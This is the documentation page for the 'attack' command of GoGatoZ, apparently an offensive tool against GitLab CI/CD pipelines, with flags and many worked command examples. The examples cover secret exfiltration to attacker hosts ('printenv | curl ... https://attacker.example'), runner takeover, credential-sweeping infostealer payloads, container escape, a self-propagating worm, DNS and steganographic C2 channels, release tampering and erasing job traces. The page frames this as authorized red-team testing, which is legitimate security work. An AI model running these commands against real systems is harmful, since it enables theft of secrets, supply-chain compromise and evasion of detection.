Skip to content

Attack Command

The attack command targets GitLab CI/CD pipelines. It can stage malicious pipelines, generate attack payloads, attempt self-hosted GitLab Runner takeover (Runner-on-Runner), and exfiltrate secrets. Use only with explicit authorization.

Warning: Offensive features are for ethical security testing only.

Terminal window
gogatoz attack [options]
  • Target projects can be specified by numeric ID or path-with-namespace (e.g., group/subgroup/project).
  • GoGatoZ reads auth and instance from global flags or env (GITLAB_TOKEN, GITLAB_URL).
  • Commit CI to target repo: --commit-ci with exactly one CI source: --ci-yaml, --ci-file, --ci-stdin, or --payload.
  • Secrets exfiltration: --secrets creates a pipeline that posts environment/variables to a webhook (optionally RSA-encrypts).
  • Payload rendering only: --payload-only prints a single-job .gitlab-ci.yml to stdout without committing.
  • Package tamper testing: --package-tamper stages a manual npm, PyPI, or RubyGems preview. It does not publish unless every live-publish gate is explicitly enabled.
  • Vault enumeration: --vault-enum enumerates HashiCorp Vault secrets reachable from CI job identity (JWT/OIDC auth).
  • Kubernetes secret sweep: --k8s-secrets dumps Kubernetes secrets from namespaces accessible to the CI runner’s service account.
  • Dead man’s switch: --dead-mans-switch installs a scheduled pipeline or external monitor that triggers a handler if the attacker’s access is revoked.
  • Branch mutator: --branch-mutator replicates a malicious file across all (or filtered) branches in the target project.
  • Sigstore provenance: --sigstore generates a cosign-compatible provenance attestation for a tampered package to make it appear legitimately signed.
  • Memory dump: --memory-dump injects a CI job that scans /proc/*/environ and Runner Worker memory to extract masked CI variables, bypassing GitLab’s log masking. Results saved as artifacts.
  • Container escape: --container-escape injects a CI job that detects privileged Docker executors and attempts escape via Docker socket, cgroup abuse, or nsenter. Enumerates host filesystem and running containers.
  • Supply chain worm: --supply-chain-worm discovers sibling repositories in the same group and injects CI payloads into each, creating self-propagating lateral movement across the organization.
  • Variable injection: --variable-inject uses the GitLab Variables API to create or modify CI/CD variables at project or group scope, affecting all downstream pipelines.
  • C2 channel: --c2-channel injects a CI job that establishes covert exfiltration via DNS tunneling (dns-a, dns-txt), ICMP encoding, or steganography (steg-wav, steg-png).
  • --target string: Project ID or path-with-namespace to attack.
  • --branch string: Branch to commit CI to (default: gogatoz-attack). Supports deconflict strategies.
  • --message string: Commit message.
  • --author-name string: Commit author name.
  • --author-email string: Commit author email.
  • --deconflict string: Branch naming strategy: fail|suffix|force (default: fail).
  • --ci-yaml string: Inline CI YAML.
  • --ci-file string: Path to CI YAML file.
  • --ci-stdin: Read CI YAML from stdin.
  • --payload string: Generate CI from a built-in payload. Values:
    • ror-shell: Minimal shell on runner via script/command.
    • runner-on-runner (alias: ror): Runner takeover; can keep alive.
    • pwn-request: MR-conditioned job to exploit risky merge rules.
    • secrets (alias: secrets-exfil): Dump env/variables to webhook.
    • git-hook: Install git hooks on runner build dirs to capture tokens from subsequent jobs.
    • cache-poison: Poison CI cache with malicious content (targets shared cache keys).
    • infostealer: Expanded credential sweep (40+ paths) covering AI tools, chat/IM, VPN, K8s, Docker, gh auth token, and recursive .env file discovery.
    • job-token-push: Attempt an isolated marker-branch push with CI_JOB_TOKEN and retain a sanitized success/denial report as an artifact.
    • package-tamper: Create an isolated, preview-only npm, PyPI, or RubyGems mutation archive.
  • --job-name string: Job name.
  • --stage string: Stage name (default: attack).
  • --tags string: Comma-separated runner tags to target.
  • --image string: Docker image to use.
  • --manual: Add manual rule (requires manual job start).
  • --artifacts-path string: Path to upload as artifact.
  • --artifacts-expire string: expire_in value (e.g., 1 day).
  • --cmd string: Command to run (default: id; uname -a).
  • --download string: URL to curl/wget instead of running a command.
  • --script-url string: Remote script URL to execute.
  • --os string: linux|windows|macos (default: linux).
  • --keepalive int: Emit heartbeats every N seconds to stay alive.
  • Discovery helpers:
    • --discover-tags: List runner tags available to the project and exit.
    • --executor string: Filter discovered tags by executor hint (docker|shell|kubernetes).
  • --target-branch-regex string: Regex for target branch condition in MR context.
  • --webhook string: Webhook URL to POST exfil data (payload mode).
  • --pubkey-file string: Path to RSA public key to encrypt payload output.
  • Also available when using --secrets (JSON output controls):
    • --project-vars: Include project variables in output.
    • --group-vars: Include group variables in output.
    • --group-id string: Group ID or full path when listing group variables.
    • --include-protected: Include protected variables.
  • --hook-type string: Hook type: post-checkout, post-merge, pre-push (default: post-checkout).
  • --webhook string: Callback URL to POST captured env data to.
  • --cache-key string: Cache key to target (default: default).
  • --cache-path string: Cache path to poison (default: .).
  • --poison-cmd string: Command to run for cache poisoning.
  • --package-tamper: Commit a manual package-tamper job. Its default mode is preview-only.
  • --tamper-ecosystem string: npm, pypi, or rubygems (default: npm).
  • --tamper-trigger string: preinstall, postinstall, or import. Lifecycle triggers are npm-only.
  • --tamper-entry-file string: Canonical relative target file required by an import trigger.
  • --tamper-inject-script string: Code or lifecycle command to inject. The default is an inert console marker.
  • --tamper-package-name string: Exact authorized package identity; required for live publishing.
  • --tamper-registry string: Explicit registry URL; required for live publishing. HTTPS is required except for loopback.
  • --tamper-live-publish: Include package build/publish commands after all authorization checks.
  • --tamper-publish-authorization string: Must exactly equal publish:<ecosystem>:<package>.
  • --tamper-allow-public-registry: Additional opt-in required for npmjs, PyPI, or RubyGems.

--npm-tamper, --npm-registry, --npm-package, and --npm-inject-script remain as compatibility aliases. They no longer discover writable packages, harvest tokens, execute an injected hook, or publish by default.

Preview the generated job before committing anything:

Terminal window
gogatoz attack --payload-only --payload package-tamper \
--tamper-ecosystem npm \
--tamper-trigger postinstall \
--tamper-inject-script 'node synthetic-marker.js' \
> package-tamper-preview.yml
gogatoz attack --payload-only --payload package-tamper \
--tamper-ecosystem pypi \
--tamper-trigger import \
--tamper-entry-file src/acme_fixture/__init__.py
gogatoz attack --payload-only --payload package-tamper \
--tamper-ecosystem rubygems \
--tamper-trigger import \
--tamper-entry-file lib/acme_fixture.rb

Every generated job is manual. Preview mode copies the checkout into a temporary directory, rejects symlink entry files, writes the modified copy to package-tamper-preview.tar.gz, and never invokes a package manager or runs the injected code. The original checkout remains unchanged.

Live publishing is intentionally difficult to enable. Use it only on a package and registry named in written authorization:

Terminal window
gogatoz attack --payload-only --payload package-tamper \
--tamper-ecosystem npm \
--tamper-trigger postinstall \
--tamper-package-name acme-owned-fixture \
--tamper-registry https://packages.example.test/npm \
--tamper-live-publish \
--tamper-publish-authorization publish:npm:acme-owned-fixture \
> authorized-live-publish.yml

The rendered job still refuses to publish until a protected, masked CI variable named GOGATOZ_PACKAGE_TAMPER_APPROVED contains the same publish:npm:acme-owned-fixture phrase and a human starts the manual job. It also verifies the static package metadata name before reaching a publish command. Public registries require --tamper-allow-public-registry in addition to both authorization gates.

PyPI live mode runs the project’s configured build backend, and RubyGems live mode evaluates its gemspec. Supply a reviewed, purpose-built runner image with the build and upload tools already installed; the generated job never installs them. Do not run live mode against unreviewed source.

  • --vault-addr string: HashiCorp Vault address (default: $VAULT_ADDR from CI environment).
  • --vault-auth-method string: Vault auth method: jwt or oidc (default: jwt).
  • --k8s-namespaces string: Comma-separated Kubernetes namespaces to sweep (default: all accessible namespaces).
  • --dms-monitor-url string: URL the dead man’s switch pings to confirm attacker presence (required).
  • --dms-interval string: Check interval (default: 1h). Accepts Go duration syntax (e.g., 30m, 2h).
  • --dms-ttl string: Time-to-live before the handler fires if the monitor URL stops responding (default: 24h).
  • --dms-handler string: Shell command or payload to execute when the switch triggers.
  • --dms-platform string: Where to install the switch: scheduled-pipeline or external-cron (default: scheduled-pipeline).
  • --mutator-file string: File path to create or overwrite in each branch (required).
  • --mutator-content string: Content for the mutated file. Use --ci-file to read from disk instead.
  • --mutator-max-branches int: Maximum number of branches to mutate (default: 0 = all branches).
  • --sigstore-package string: Package name or OCI reference to generate provenance for (required).
  • --sigstore-version string: Package version to attest (required).

The infostealer payload type performs an expanded credential sweep across 40+ common credential paths on the runner filesystem, including:

  • AI tools: .openai, .anthropic, Copilot tokens, .config/github-copilot
  • Chat / IM: Slack tokens, Discord tokens, Teams webhooks
  • VPN: OpenVPN configs, WireGuard keys
  • Kubernetes: ~/.kube/config, service account tokens at /var/run/secrets/
  • Docker: ~/.docker/config.json, registry auth
  • GitHub CLI: gh auth token extraction
  • Environment files: Recursive .env file sweep across the build directory

Use --payload infostealer with --payload-only to preview or with --commit-ci to deploy.

Modify repo scripts called by CI (workflow hopping) — harder to detect than CI config changes.

  • --script-path string: Path to script to inject into (auto-detected from CI if empty).
  • --script-payload string: Shell payload to inject.
  • --script-payload-file string: Read payload from file.
  • --script-prepend bool: Prepend payload (default: true) or append.
  • --trigger-pipeline bool: Trigger a pipeline after injection.

LOTP config-file injection (--lotp-inject)

Section titled “LOTP config-file injection (--lotp-inject)”

Weaponize a tool’s configuration file so that the next pipeline run executes an attacker-controlled command. Based on the Living off the Pipeline (LOTP) catalog of 60+ tools that are “RCE-by-design” in CI.

  • --lotp-tool string: Tool to weaponize (required): npm-gyp, npm, make, pytest, goreleaser, gradle, terraform
  • --cmd string: Shell command to inject (required).
  • --trigger-pipeline bool: Trigger a pipeline on the branch after injecting.

Output JSON fields: branch, tool, files_committed, description, reference, optionally pipeline_url.

Available LOTP tools:

Tool Files committed Trigger
npm-gyp / gyp binding.gyp + index.js npm install (via node-gyp, bypasses package.json hooks)
npm package.json npm install (postinstall hook)
make Makefile make ($(shell) expansion at parse time)
pytest conftest.py pytest (auto-imported at collection)
goreleaser .goreleaser.yml goreleaser release/build/check (before hooks)
gradle build.gradle gradle/./gradlew (Groovy config-time exec)
terraform main.tf terraform plan/apply (null_resource local-exec)

Payload-only rendering (no credentials needed):

Terminal window
gogatoz attack --payload-only --payload lotp-gyp --cmd 'id'
gogatoz attack --payload-only --payload lotp-make --cmd 'printenv | curl -sd @- https://callback.url'

Output is JSON with tool, files[] (path + content), description, reference.

Example — Phantom Gyp attack:

Terminal window
# Generate and inspect the payload (no token needed)
gogatoz attack --payload-only --payload lotp-gyp \
--cmd 'printenv | curl -sd @- https://callback.example.com' | jq .
# Inject into target project (Developer access required)
gogatoz attack --target group/nodejs-project \
--lotp-inject --lotp-tool npm-gyp \
--cmd 'printenv | curl -sd @- https://callback.example.com' \
--branch lotp-attack --deconflict suffix --json

The Phantom Gyp technique (StepSecurity research): Places binding.gyp + index.js in the repo. When npm install runs, npm auto-invokes node-gyp rebuild. The gyp <!(node index.js) command substitution executes the payload. No preinstall/postinstall appears in package.json — bypassing the most common npm hook monitors. The command is base64-encoded in index.js to evade string matching.

Create MR, self-approve, and merge to default branch (supply chain attack).

  • --auto-merge-file string: File path to modify (default: .gitlab-ci.yml).
  • Uses --ci-yaml, --ci-file, --ci-stdin, or --payload for content.
  • Uses --mr-title, --mr-description, --mr-target-branch for MR creation.

Install git hooks on runner then wait for callbacks to harvest tokens.

  • --webhook string: External URL reachable from CI runners (required).
  • --harvest-listen string: Listen address for callback server (default: :9443).
  • --harvest-timeout string: How long to wait for callbacks (default: 30m).

Modify GitLab release metadata and asset links (supply chain attack).

  • --tag-name string: Release tag name (required).
  • --release-name string: New release name.
  • --release-description string: New release description.
  • --link-name string: Release link name to replace.
  • --link-url string: New URL for the replaced link.
  • --add-link-name string: Name of new link to add.
  • --add-link-url string: URL of new link to add.

Upload a malicious package to the Generic Packages registry.

  • --package-name string: Package name (required).
  • --package-version string: Package version (required).
  • --package-file string: Local file to upload (required).

Inject a CI job that bypasses GitLab’s masked variable protection by reading process memory directly.

  • --memory-dump: Enable memory dump mode.
  • --memory-dump-proc string: Specific /proc/<pid> to dump (auto-detect if empty).
  • --memory-dump-filter string: Regex to filter variables (default: .*SECRET|.*TOKEN|.*KEY).

The payload scans /proc/*/environ of all running processes, reads Runner Worker memory via /proc/<pid>/mem, extracts token patterns (glpat-, ghp_, AKIA, sk-, xoxb-), sweeps credential files, and saves results as artifacts (memdump_env.txt, memdump_tokens.txt, memdump_bundle.tgz, memdump_report.json).

Exploit privileged Docker executors to escape to the host system.

  • --container-escape: Enable container escape mode.
  • --escape-method string: Escape technique: sshd|docker|kernel|nsenter (default: docker).
  • --escape-command string: Command to execute on host (default: bash).
  • --escape-mount-path string: Host path to mount (default: /).

The payload detects Docker sockets, privileged cgroups, and host mount points, then attempts escape via the available vector. Results saved as artifacts (escape_bundle.tgz, escape_host_output.txt).

Self-propagating CI injection across sibling repositories in a GitLab group.

  • --supply-chain-worm: Enable worm mode.
  • --worm-target-group string: Group ID or path to scope propagation.
  • --worm-max-repos int: Max sibling repos to propagate to (default: 5).
  • --worm-payload string: Shell payload to inject into sibling repos.

The worm discovers sibling projects in the target group via the GitLab API, creates branches, and injects CI configs. Each infected project produces its own pipeline, enabling recursive propagation.

Inject malicious CI/CD variables at project or group scope via the GitLab Variables API.

  • --variable-inject: Enable variable injection mode.
  • --inject-vars string: JSON array of key/value pairs: '[{"key":"K","value":"V"}]' (required).
  • --inject-scope string: Scope: project|group (default: project).
  • --inject-group-id string: Group ID for group-scope injection.
  • --inject-protected: Set as protected variable.
  • --inject-masked: Set as masked variable.

Establish a covert command-and-control channel for data exfiltration.

  • --c2-channel: Enable C2 channel mode.
  • --c2-method string: Channel type: dns-a|dns-txt|steg-wav|steg-png|icmp (default: dns-a).
  • --c2-target string: Domain for DNS tunnel, URL for other methods (required).
  • --c2-callback-url string: Primary C2 callback URL.
  • --c2-keepalive: Keep C2 channel alive with heartbeats.

The DNS methods encode environment data into subdomain queries (<seq>.<chunk>.tun.<domain>). Steganographic methods embed data in WAV/PNG artifacts uploaded via the GitLab Packages API.

  • --deploy-key: Create a deploy key with write access on the target project.
  • --key-title string: Title for the deploy key.
  • --key-path string: Path to save the generated private key.
  • --add-member: Add a user as project member.
  • --member-username string: Username to add as project member.
  • --member-role string: Access level: guest|reporter|developer|maintainer (default: developer).

See Persistence Command for detailed usage.

  • --cleanup: Enable cleanup mode (no attack is executed).
  • --cleanup-branch string: Delete a branch in the target project.
  • --cleanup-ci: Remove .gitlab-ci.yml from the target branch.
  • --revoke-deploy-key int: Revoke deploy key by ID.
  • --remove-member-id int: Remove member by user ID.
  • --cleanup-pipeline int: Delete a specific pipeline by ID.
  • --cleanup-jobs bool: Erase job traces on recent pipelines.
  • --cleanup-jobs-ref string: Limit erasure to pipelines on this ref.
  • --cleanup-jobs-max int: Max recent pipelines to erase (default: 5).
  • --cleanup-jobs-delete bool: Also delete pipelines after erasing traces.
Terminal window
gogatoz attack --target group/proj --discover-tags

2) Generate a Runner-on-Runner payload only

Section titled “2) Generate a Runner-on-Runner payload only”
Terminal window
gogatoz attack --payload runner-on-runner \
--script-url https://attacker.example/p.sh --os linux --keepalive 30 \
--job-name ror --stage attack --tags docker,priv

3) Commit a Runner-on-Runner payload to a staging branch

Section titled “3) Commit a Runner-on-Runner payload to a staging branch”
Terminal window
gogatoz attack --commit-ci --target group/proj \
--payload ror --script-url https://attacker/p.sh --tags shell \
--branch gogatoz-attack --deconflict suffix --message "stage RoR payload"
Terminal window
# Render payload only
gogatoz attack --payload secrets --webhook https://webhook.site/abc --pubkey-file pub.pem --payload-only
# Or commit directly
gogatoz attack --secrets --target group/proj --tags docker --pubkey-file pub.pem

5) Pwn Request (condition on target branch)

Section titled “5) Pwn Request (condition on target branch)”
Terminal window
gogatoz attack --commit-ci --target group/proj \
--payload pwn-request --target-branch-regex '^release/.*$' \
--message "pwn request: release branch side effects"
Terminal window
gogatoz attack --target group/proj --cleanup --cleanup-branch gogatoz-attack
Terminal window
gogatoz attack --inject-script --target group/proj \
--script-payload 'curl -sS -d "$(printenv|base64 -w0)" http://attacker/cb' \
--branch gogatoz-attack --deconflict suffix
Terminal window
gogatoz attack --auto-merge --target group/proj \
--ci-yaml 'stages:\n - pwn\npwn:\n stage: pwn\n script: [printenv]\n tags: [shell]' \
--mr-title "Fix CI configuration"
Terminal window
gogatoz attack --harvest --target group/proj \
--webhook https://attacker.example/callback --tags shell \
--harvest-timeout 10m
Terminal window
gogatoz attack --tamper-release --target group/proj \
--tag-name v1.2.0 --add-link-name "Binary (linux-amd64)" \
--add-link-url "https://attacker.example/malicious-binary"
Terminal window
gogatoz attack --commit-ci --target group/proj \
--payload cache-poison --cache-key shared-deps \
--poison-cmd 'echo "malicious" > node_modules/package.json' --tags shell
Terminal window
gogatoz attack --target group/proj --cleanup --cleanup-jobs \
--cleanup-jobs-ref gogatoz-attack --cleanup-jobs-max 3
Terminal window
gogatoz attack --payload-only --payload package-tamper \
--tamper-ecosystem npm --tamper-trigger postinstall \
--tamper-inject-script 'node synthetic-marker.js'
Terminal window
gogatoz attack --vault-enum --target group/proj \
--vault-addr https://vault.internal:8200 --vault-auth-method jwt \
--tags shell
Terminal window
gogatoz attack --k8s-secrets --target group/proj \
--k8s-namespaces default,production,staging \
--tags kubernetes --webhook https://attacker.example/k8s
Terminal window
gogatoz attack --dead-mans-switch --target group/proj \
--dms-monitor-url https://attacker.example/heartbeat \
--dms-interval 30m --dms-ttl 12h \
--dms-handler 'curl -sd "$(printenv)" https://attacker.example/dms-fired' \
--dms-platform scheduled-pipeline

17) Branch mutator (spread across branches)

Section titled “17) Branch mutator (spread across branches)”
Terminal window
gogatoz attack --branch-mutator --target group/proj \
--mutator-file .github/workflows/lint.yml \
--mutator-content 'run: curl -sd "$GITHUB_TOKEN" https://attacker.example/cb' \
--mutator-max-branches 10
Terminal window
gogatoz attack --sigstore --target group/proj \
--sigstore-package ghcr.io/org/app --sigstore-version v1.2.3 \
--tags shell --branch gogatoz-attack --deconflict suffix
Terminal window
gogatoz attack --memory-dump --target group/proj \
--tags shell_executor --deconflict suffix
Terminal window
gogatoz attack --container-escape --target group/proj \
--tags docker --escape-method docker \
--escape-command 'id; cat /etc/shadow; printenv | sort'
Terminal window
gogatoz attack --supply-chain-worm --target group/proj \
--worm-target-group my-org --worm-max-repos 5 \
--worm-payload 'printenv | sort' --branch gogatoz-worm
Terminal window
gogatoz attack --variable-inject --target group/proj \
--inject-vars '[{"key":"NPM_TOKEN","value":"attacker-controlled"}]' \
--inject-scope project
Terminal window
gogatoz attack --c2-channel --target group/proj \
--c2-method dns-a --c2-target exfil.attacker.com \
--tags shell_executor --deconflict suffix
  • Obtain written authorization before testing.
  • Avoid production disruption; prefer test projects.
  • Keep package tamper tests in preview mode unless the exact package and registry are explicitly authorized.
  • Never use a real known-malicious third-party package as a fixture.
  • Review and remove artifacts (branches, CI YAML, keys, users) after testing.

Use GitLab Personal Access Tokens with scopes: api, read_repository, write_repository. Set via --token or env GITLAB_TOKEN. Instance can be set via --gitlab-url or env GITLAB_URL.